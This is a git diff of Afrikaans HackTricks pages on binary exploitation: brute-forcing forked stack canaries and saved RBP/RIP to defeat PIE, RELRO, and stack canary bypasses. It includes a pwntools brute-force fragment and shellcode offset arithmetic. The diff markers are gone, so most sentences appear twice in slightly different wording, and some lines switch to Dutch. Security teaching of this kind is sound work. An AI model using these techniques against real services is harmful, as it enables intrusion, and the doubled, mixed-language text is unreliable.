Byvoorbeeld, as 'n binêre lêer beskerm word deur beide 'n **kanarie** en **PIE**, kan jy begin met die brute-force van die kanarie, dan sal die **volgende** 8 Bytes (x64) die gestoorde **RBP** wees en die **volgende** 8 Bytes sal die gestoorde **RIP** wees.
{% hint style="success" %}
Dit word veronderstel dat die terugkeeradres binne die stokkie behoort aan die hoof binêre kode, wat, as die kwesbaarheid in die binêre kode geleë is, gewoonlik die geval sal wees.
Dit word veronderstel dat die terugkeeradres binne die stok behoort aan die hoof binêre kode, wat, as die kwesbaarheid in die binêre kode geleë is, gewoonlik die geval sal wees.
{% endhint %}
Om die RBP en die RIP van die binêre lêer te brute-force kan jy uitvind dat 'n geldige gerate byte korrek is as die program iets uitvoer of dit net nie afkrap nie. Dieselfde funksie as die een wat voorsien is vir die brute-force van die kanarie kan gebruik word om die RBP en die RIP te brute-force:
Om die RBP en die RIP van die binêre lêer te brute-force kan jy uitvind dat 'n geldige gerate byte korrek is as die program iets uitvoer of net nie afknap nie. Dieselfde funksie as die een wat voorsien is vir die brute-force van die kanarie kan gebruik word om die RBP en die RIP te brute-force:
```python
from pwn import *
@ -80,9 +81,9 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Die laaste ding wat jy nodig het om die PIE te verslaan is om **nuttige adresse van die uitgelekte** adresse te bereken: die **RBP** en die **RIP**.
Die laaste ding wat jy nodig het om die PIE te verslaan, is om **nuttige adresse van die uitgelekte** adresse te bereken: die **RBP** en die **RIP**.
Vanaf die **RBP** kan jy bereken **waar jy jou shell in die stok skryf**. Dit kan baie nuttig wees om te weet waar jy die string _"/bin/sh\x00"_ binne die stok gaan skryf. Om die afstand tussen die uitgelekte RBP en jou shell-kode te bereken, kan jy net 'n **afbreekpunt plaas na die uitlek van die RBP** en kyk **waar jou shell-kode geleë is**, daarna kan jy die afstand tussen die shell-kode en die RBP bereken:
Vanaf die **RBP** kan jy bereken **waar jy jou shell in die stok skryf**. Dit kan baie nuttig wees om te weet waar jy die string _"/bin/sh\x00"_ binne die stok gaan skryf. Om die afstand tussen die uitgelekte RBP en jou shell-kode te bereken, kan jy net 'n **afbreekpunt plaas na die uitlek van die RBP** en kyk **waar jou shell-kode geleë is**, dan kan jy die afstand tussen die shell-kode en die RBP bereken:
```python
INI_SHELLCODE = RBP - 1152
```
@ -97,20 +98,21 @@ elf.address = RIP - (RIP & 0xfff)
```
## Verbeterings
Volgens [**'n paar waarnemings uit hierdie pos**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), is dit moontlik dat wanneer RBP- en RIP-waardes lek, die bediener nie sal vasloop met sommige waardes wat nie die korrekte is nie en die BF-skrip sal dink hy het die goeie een gekry. Dit is omdat dit moontlik is dat **sommige adresse dit net nie sal breek selfs al is dit nie presies die regte nie**.
Volgens [**'n waarneming van hierdie pos**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), is dit moontlik dat wanneer RBP- en RIP-waardes lek, die bediener nie sal vasloop met waardes wat nie die korrekte is nie en die BF-skrip sal dink hy het die goeie een gekry. Dit is omdat dit moontlik is dat **sekere adresse dit net nie sal breek selfs al is dit nie presies die regte nie**.
Volgens daardie blogpos word dit aanbeveel om 'n kort vertraging tussen versoeke aan die bediener in te voer.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# Relro
{% hint style="success" %}
Leer en oefen AWS Hacken: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacken: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Relro
**RELRO** staan vir **Relocation Read-Only**, en dit is 'n veiligheidskenmerk wat in binêre lêers gebruik word om die risiko's wat verband hou met **GOT (Global Offset Table)** oorskrywings te verminder. Laat ons die konsep opbreek in sy twee onderskeie tipes vir duidelikheid: **Gedeeltelike RELRO** en **Volledige RELRO**.
**RELRO** staan vir **Relocation Read-Only**, en dit is 'n sekuriteitskenmerk wat in bineêre lêers gebruik word om die risiko's wat verband hou met **GOT (Global Offset Table)** oorskrywings te verminder. Laat ons die konsep opbreek in sy twee onderskeie tipes vir duidelikheid: **Gedeeltelike RELRO** en **Volledige RELRO**.
### **Gedeeltelike RELRO**
**Gedeeltelike RELRO** neem 'n eenvoudiger benadering om die veiligheid te verbeter sonder om die binêre lêer se prestasie aansienlik te beïnvloed. Deur **die GOT bo die program se veranderlikes in die geheue te posisioneer, mik Gedeeltelike RELRO daarop om te voorkom dat buffer-oorvloeiings die GOT bereik en dit beskadig**.&#x20;
**Gedeeltelike RELRO** neem 'n eenvoudiger benadering om die sekuriteit te verbeter sonder om die bineêre lêer se prestasie aansienlik te beïnvloed. Deur **die GOT bo die program se veranderlikes in die geheue te posisioneer, mik Gedeeltelike RELRO daarop om te voorkom dat buffer-oorvloeiings die GOT bereik en dit beskadig**.&#x20;
Dit **voorkom nie dat die GOT** misbruik word **deur willekeurige skryf** kwesbaarhede nie.
Dit **voorkom nie dat die GOT** misbruik **kan word nie** vanaf arbitrêre skryf kwesbaarhede.
### **Volledige RELRO**
**Volledige RELRO** verhoog die beskerming deur **die GOT en .fini\_array** afdeling heeltemal **alleen-lees te maak.** Wanneer die binêre lêer begin, word al die funksie-adresse opgelos en in die GOT gelaai, daarna word die GOT as alleen-lees gemerk, wat enige wysigings daaraan tydens uitvoering voorkom.
**Volledige RELRO** verhoog die beskerming deur **die GOT en .fini\_array** afdeling heeltemal **alleen-lees te maak.** Sodra die bineêre lêer begin, word al die funksie-adresse opgelos en in die GOT gelaai, daarna word die GOT as alleen-lees gemerk, wat enige wysigings daaraan tydens uitvoering voorkom.
Die afweging met Volledige RELRO is egter in terme van prestasie en aanvangstyd. Omdat dit al die dinamiese simbole by aanvang moet oplos voordat die GOT as alleen-lees gemerk word, **kan binêre lêers met Volledige RELRO wat geaktiveer is, langer laaitye ervaar**. Hierdie addisionele aanvangsoorskot is waarom Volledige RELRO nie standaard in alle binêre lêers geaktiveer word nie.
Die afweging met Volledige RELRO is egter in terme van prestasie en aanvangstyd. Omdat dit alle dinamiese simbole by aanvang moet oplos voordat die GOT as alleen-lees gemerk word, **kan bineêre lêers met Volledige RELRO wat geaktiveer is, langer laaitye ervaar**. Hierdie addisionele aanvangsoorskot is waarom Volledige RELRO nie standaard in alle bineêre lêers geaktiveer word nie.
Dit is moontlik om te sien of Volledige RELRO **geaktiveer** is in 'n binêre lêer met:
Dit is moontlik om te sien of Volledige RELRO **geaktiveer** is in 'n bineêre lêer met:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Omgang
Indien Volle RELRO geaktiveer is, is die enigste manier om dit te omseil om 'n ander manier te vind wat nie vereis dat daar in die GOT-tabel geskryf word om willekeurige uitvoering te kry nie.
Indien Volledige RELRO geaktiveer is, is die enigste manier om dit te omseil om 'n ander manier te vind wat nie vereis dat daar geskryf word in die GOT-tabel om willekeurige uitvoering te kry nie.
Let daarop dat **LIBC se GOT gewoonlik Gedeeltelike RELRO** is, sodat dit verander kan word met 'n willekeurige skryf. Meer inligting in [Mikpunt libc GOT inskrywings](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Let daarop dat **LIBC se GOT is gewoonlik Gedeeltelike RELRO**, dus dit kan verander word met 'n willekeurige skryf. Meer inligting in [Mikpunt libc GOT inskrywings](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**

View file

@ -1,34 +1,35 @@
# Stack Kanaries
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **StackGuard en StackShield**
**StackGuard** voeg 'n spesiale waarde bekend as 'n **kanarie** in voor die **EIP (Extended Instruction Pointer)**, spesifiek `0x000aff0d` (wat nul, nuwe lyn, EOF, karakterskuiwing verteenwoordig) om teen buffer-oorvloeiing te beskerm. Tog bly funksies soos `recv()`, `memcpy()`, `read()`, en `bcopy()` kwesbaar, en dit beskerm nie die **EBP (Base Pointer)** nie.
**StackGuard** voeg 'n spesiale waarde bekend as 'n **kanarie** in voor die **EIP (Extended Instruction Pointer)**, spesifiek `0x000aff0d` (wat nul, nuwe lyn, EOF, karretjieterugkeer verteenwoordig) om teen buffer-oorvloeiing te beskerm. Tog bly funksies soos `recv()`, `memcpy()`, `read()`, en `bcopy()` kwesbaar, en dit beskerm nie die **EBP (Base Pointer)** nie.
**StackShield** neem 'n meer gesofistikeerde benadering as StackGuard deur 'n **Globale Terugkeerstapel** te handhaaf, wat alle terugkeeradressse (**EIPs**) stoor. Hierdie opstelling verseker dat enige oorvloeiing geen skade veroorsaak nie, aangesien dit 'n vergelyking tussen gestoorde en werklike terugkeeradressse toelaat om oorvloeiingsgebeure op te spoor. Daarbenewens kan StackShield die terugkeeradres teen 'n grenswaarde toets om te bepaal of die **EIP** na buite die verwagte data-ruimte wys. Nietemin kan hierdie beskerming omseil word deur tegnieke soos Return-to-libc, ROP (Return-Oriented Programming), of ret2ret, wat aandui dat StackShield ook nie plaaslike veranderlikes beskerm nie.
**StackShield** neem 'n meer gesofistikeerde benadering as StackGuard deur 'n **Globale Terugkeerstapel** te handhaaf, wat alle terugkeeradressse (**EIPs**) stoor. Hierdie opstelling verseker dat enige oorvloeiing geen skade veroorsaak nie, aangesien dit 'n vergelyking tussen gestoorde en werklike terugkeeradressse toelaat om oorvloeiingsgebeurtenisse op te spoor. Daarbenewens kan StackShield die terugkeeradres teen 'n grenswaarde toets om te bepaal of die **EIP** na buite die verwagte data-ruimte wys. Nietemin kan hierdie beskerming omseil word deur tegnieke soos Return-to-libc, ROP (Return-Oriented Programming), of ret2ret, wat aandui dat StackShield ook nie plaaslike veranderlikes beskerm nie.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Hierdie meganisme plaas 'n **kanarie** voor die **EBP**, en herorganiseer plaaslike veranderlikes om buffers by hoër geheue-adresse te posisioneer, wat voorkom dat hulle ander veranderlikes oorskryf. Dit kopieer ook argumente wat op die stapel bokant plaaslike veranderlikes oorgedra word veilig en gebruik hierdie kopieë as argumente. Dit beskerm egter nie rye met minder as 8 elemente of buffers binne 'n gebruiker se struktuur nie.
Die **kanarie** is 'n lukrake nommer afgelei van `/dev/urandom` of 'n verstekwaarde van `0xff0a0000`. Dit word in **TLS (Thread Local Storage)** gestoor, wat gedeelde geheue-ruimtes oor drade toelaat om draadspesifieke globale of statiese veranderlikes te hê. Hierdie veranderlikes word aanvanklik van die ouerproses gekopieer, en kinderprosesse kan hul data verander sonder om die ouer of broers en susters te beïnvloed. Nietemin, as 'n **`fork()` gebruik word sonder om 'n nuwe kanarie te skep, deel alle prosesse (ouer en kinders) dieselfde kanarie**, wat dit kwesbaar maak. Op die **i386**-argitektuur word die kanarie gestoor by `gs:0x14`, en op **x86\_64**, by `fs:0x28`.
Die **kanarie** is 'n lukrake nommer afgelei van `/dev/urandom` of 'n verstekwaarde van `0xff0a0000`. Dit word in **TLS (Thread Local Storage)** gestoor, wat gedeelde geheue-ruimtes oor drade toelaat om draadspesifieke globale of statiese veranderlikes te hê. Hierdie veranderlikes word aanvanklik van die ouerproses gekopieer, en kinderprosesse kan hul data verander sonder om die ouer of broers en susters te beïnvloed. Nietemin, as 'n **`fork()` sonder die skep van 'n nuwe kanarie gebruik word, deel alle prosesse (ouer en kinders) dieselfde kanarie**, wat dit kwesbaar maak. Op die **i386**-argitektuur word die kanarie by `gs:0x14` gestoor, en op **x86\_64** by `fs:0x28`.
Hierdie plaaslike beskerming identifiseer funksies met buffers wat kwesbaar is vir aanvalle en spuit kode in die begin van hierdie funksies in om die kanarie te plaas, en aan die einde om sy integriteit te verifieer.
Wanneer 'n webbediener `fork()` gebruik, maak dit 'n brute-force aanval moontlik om die kanarie byte vir byte te raai. Tog, deur `execve()` na `fork()` te gebruik, oorskryf dit die geheue-ruimte en maak die aanval nietig. `vfork()` laat die kinderproses toe om sonder duplisering uit te voer totdat dit probeer skryf, waarna 'n duplikaat geskep word, wat 'n ander benadering tot proseskeuring en geheuehantering bied.
Wanneer 'n webbediener `fork()` gebruik, maak dit 'n brute force-aanval moontlik om die kanarie byte vir byte te raai. Tog maak die gebruik van `execve()` na `fork()` die geheue-ruimte oorskryf, wat die aanval nietig maak. `vfork()` laat die kinderproses toe om sonder duplisering uit te voer totdat dit probeer skryf, waarna 'n duplikaat geskep word, wat 'n ander benadering tot proseskeuring en geheuehantering bied.
### Lengtes
@ -37,14 +38,14 @@ In `x64` binêre lêers is die kanariekoek 'n **`0x8`** byte qword. Die **eerste
In `x86` binêre lêers is die kanariekoek 'n **`0x4`** byte dword. Die **eerste drie bytes is lukraak** en die laaste byte is 'n **nul byte**.
{% hint style="danger" %}
Die minst betekenisvolle byte van beide kanaries is 'n nul byte omdat dit die eerste in die stapel sal wees wat vanaf laer adresse kom en daarom **funksies wat strings lees sal stop voordat dit dit lees**.
Die minst betekenisvolle byte van beide kanaries is 'n nul byte omdat dit die eerste in die stapel vanaf laer adresse is en daarom **funksies wat strings lees sal ophou voordat dit dit lees**.
{% endhint %}
## Oorbruggings
## Oorwinnings
**Die kanarie lek** en dit dan oorskryf (bv. buffer-oorvloeiing) met sy eie waarde.
**Die lek van die kanarie** en dit dan oorskryf (bv. buffer-oorvloeiing) met sy eie waarde.
* As die **kanarie in kinderprosesse gevork** is, kan dit moontlik wees om dit een byte op 'n slag **brute-force**:
* As die **kanarie in kinderprosesse gevork** is, kan dit moontlik wees om dit een byte op 'n slag **brute force**:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
@ -56,9 +57,9 @@ Die minst betekenisvolle byte van beide kanaries is 'n nul byte omdat dit die ee
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
* **Oorskryf stapel gestoorde aanwysers**
* **Oorskryf van stapel gestoorde aanwysers**
Die stapel wat kwesbaar is vir 'n stapel oorvloeiing mag **adresse na strings of funksies bevat wat oorskryf kan word** om die kwesbaarheid te benut sonder om die stapelkanarie te bereik. Kyk na:
Die stapel wat kwesbaar is vir 'n stapeloorvloeiing kan **adresse na strings of funksies wat oorskryf kan word, bevat** om die kwesbaarheid te benut sonder om die stapelkanarie te bereik. Kontroleer:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
@ -66,17 +67,17 @@ Die stapel wat kwesbaar is vir 'n stapel oorvloeiing mag **adresse na strings of
* **Wysig beide meester- en draadkanarie**
'n Buffer **oorvloei in 'n gesitueerde funksie** wat met 'n kanarie beskerm word, kan gebruik word om die meesterkanarie van die draad te **verander**. As gevolg hiervan is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.
'N Buffer **oorvloeiing in 'n geskroefde funksie** wat met 'n kanarie beskerm word, kan gebruik word om die meesterkanarie van die draad te **wysig**. As gevolg hiervan is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.
Verder kan 'n buffer **oorvloei in 'n gesitueerde funksie** wat met 'n kanarie beskerm word, gebruik word om die meesterkanarie wat in die TLS gestoor is, te **verander**. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word te bereik (en dus die kanarie) via 'n **bof in die stapel** van 'n draad.\
Verder kan 'n buffer **oorvloeiing in 'n geskroefde funksie** wat met 'n kanarie beskerm word, gebruik word om die meesterkanarie wat in die TLS gestoor is, te **wysig**. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.\
Hierdie aanval word uitgevoer in die skryfstuk: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** deur **`mmap`** gestoor word en wanneer 'n **stapel** van 'n **draad** geskep word, word dit ook deur `mmap` gegenereer volgens hierdie, wat die oorvloei moontlik kan maak soos in die vorige skryfstuk getoon.
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** deur **`mmap`** gestoor word en wanneer 'n **stapel** van 'n **draad** geskep word, word dit ook deur `mmap` gegenereer volgens hierdie, wat die oorvloeiing soos in die vorige skryfstuk mag toelaat.
* **Wysig die GOT-invoer van `__stack_chk_fail`**
As die binêre lêer Gedeeltelike RELRO het, kan jy 'n arbitrêre skryf gebruik om die **GOT-invoer van `__stack_chk_fail`** te wysig om 'n dummie-funksie te wees wat die program nie blokkeer as die kanarie gewysig word nie.
As die binêre lêer gedeeltelike RELRO het, kan jy 'n arbitrêre skryf gebruik om die **GOT-invoer van `__stack_chk_fail`** te wysig sodat dit 'n dummiefunksie is wat die program nie blokkeer as die kanarie gewysig word nie.
Hierdie aanval word uitgevoer in die skryfstuk: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Verwysings
@ -85,16 +86,17 @@ Hierdie aanval word uitgevoer in die skryfstuk: [https://7rocky.github.io/en/ctf
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# BF Forked & Threaded Stack Kanaries
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
**As jy te make het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om dit te omseil.**
**As jy te make het met 'n binêre beskerm deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om hulle te omseil.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Let daarop dat **`checksec`** dalk nie vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.\
Jy kan egter handmatig hierdie opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde nagegaan word voordat dit afsluit.
Let daarop dat **`checksec`** dalk nie vind dat 'n binêre beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.\
Jy kan egter handmatig hierdie opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde voor die uittrede nagegaan word.
{% endhint %}
## Brute force Canary
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre lêer 'n program is wat **kindprosesse vur elke nuwe verbinding wat jy daarmee vestig** (netwerkdienste), omdat elke keer as jy daarmee verbind **dieselfde kanarie gebruik sal word**.
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat **kindprosesse vur elke nuwe verbinding wat jy daarmee vestig** (netwerkdienste), omdat elke keer as jy daarmee verbind **die dieselfde kanarie gebruik sal word**.
Dan is die beste manier om die kanarie te omseil net om dit **karakter vir karakter te kragtig**, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgeskakel het of sy gewone vloei voortgesit het. In hierdie voorbeeld **kragtig 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net **te kyk** of 'n **reaksie** terug gestuur word deur die bediener (n ander manier in **ander situasie** sou wees om 'n **try/except** te gebruik):
